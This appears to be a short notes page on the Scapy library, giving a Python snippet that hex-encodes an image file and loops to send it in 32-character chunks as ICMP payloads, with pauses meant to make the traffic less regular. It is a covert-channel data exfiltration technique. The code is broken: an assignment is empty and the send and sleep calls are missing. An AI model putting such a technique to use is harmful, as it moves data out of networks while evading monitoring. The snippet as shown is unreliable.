Scapy is so special it earns its own page

Send data over ICMP!

from scapy.all import *
import time, random

# Read in the picture as a file
with open('./hahaha.jpg', 'rb') as manning:
    peyton =

# Encode the file to hex (easier to send as hex)
peyton = peyton.hex()

# How long each payload should be
n = 32
# Split the encoded hex into a list of n-sized pieces
haha = [peyton[i:i+n] for i in range(0, len(peyton), n)]

# Loop to constantly send ICMP
while True:
    # Loop through entire list and send in order
    for i in range(len(haha)):
        # Re-encode payload as bytes for index
        payload = bytes.fromhex(haha[i])
        # Sleep for a bit to make it less consistent
    # Sleep between each set

Last updated